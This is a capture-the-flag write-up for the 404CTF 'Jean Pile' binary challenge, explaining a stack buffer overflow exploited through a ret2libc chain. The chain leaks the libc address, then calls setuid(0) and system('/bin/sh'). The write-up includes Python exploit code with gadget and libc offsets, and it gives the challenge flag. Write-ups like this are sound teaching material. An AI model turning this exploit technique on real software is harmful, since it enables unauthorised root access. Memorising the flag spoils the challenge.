Jean Pile
Here, we have the following binary. First, lets check the type of the file and its protections:
So we know that the ASLR
is enabled and that we can execute code in the stack (NX
disabled).
When we open it, we see nothing really interesting in the main but the main code is available in the service()
function:
As we can see, the plat
variable is 40
bytes long but then when select our dish, we can put 200
character in it (200
bytes).
First, lets put a breakpoint at the leave
instruction of the service function:
Now we can run the program and send a custom payload like "A"*40+"B"*8+"C"*8+"D"*8
for one command:
Now lets look at the stack:
Note the use of
g
in ourx/gx
command. This is because, we are running an64
bit ELF.
We notice the return address is overwritten by our D
(0x44
). This allows us to know that the offset we are going to use is 40+8+8
(56
).
First I tried to put a lot of nop
in the stack and try to point in the middle of those nop
so that my shell-code could be executed. But because of ASLR
, this isn’t possible.
Shell-codes can be found at https://shell-storm.org/shellcode/
I found this blog that talks about ret2libc
attack. I’ll let you read it to have a better understanding about this kind of attacks, here we are just going to perform it. First we need to get the address of some objects. As in the blog, we are going to search for the main
, put
, printf
and pop rdi
gadget addresses:
So we are going to take the PLT
addresses for every object except for the printf
because we need it to come from the GLIBC
to be able to leak the address of the GLIBC
. So our python code looks like:
1
2
3
4
5
6
7
8
# Stage 1 (Leaking the address of printf@GLIBC)
#objdump -d jean_pile | grep _start
plt_main = p64(0x4006e0)
plt_put = p64(0x400660)
got_printf = p64(0x602020)
#ROPgadget --binary jean_pile | grep "pop rdi"
pop_rdi = p64(0x400b83)
junk = b"A" * 56
With all of this information, we can leak the address of the printf
from the GLIBC
and find which one is running on the remote server:
Now we go to the https://libc.blukat.me/ website to find which libc is used:
We can download the first one and try with it. If this don’t work we will need to try the second, third… and so on until we find the correct one.
With the GLIBC
downloaded, we can use readelf
and strings
to get all the information we need:
With all this information we will have in our python code the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Stage 2 (Obtaining the addresses and pwning)
#readelf -s libc6-amd64_2.36-9+deb12u4_i386.so | grep print
libc_printf = 0x525b0
libc_sys = 0x4c490
libc_exit = 0x3e680
libc_setuid = 0xd54b0
#strings -a -t x libc6-amd64_2.36-9+deb12u4_i386.so | grep /bin/sh
libc_sh = 0x196031
# Calculate the the base address of libc
libc_main = leaked_printf - libc_printf
log.success("libc_main:" + hex(libc_main))
# Add the offsets to the base address to obtain the addresses libc functions
sys = p64(libc_main + libc_sys)
sh = p64(libc_main + libc_sh)
setuid = p64(libc_main + libc_setuid)
# Setting 0 as the first argument to setuid will escalate to root priviliges
root = p64(0)
payload = junk + pop_rdi + root + setuid + pop_rdi + sh + sys
You can find the full code here.
Now we can run our code and…Voilà:
So the flag is 404CTF{f4n_2_8denn3u}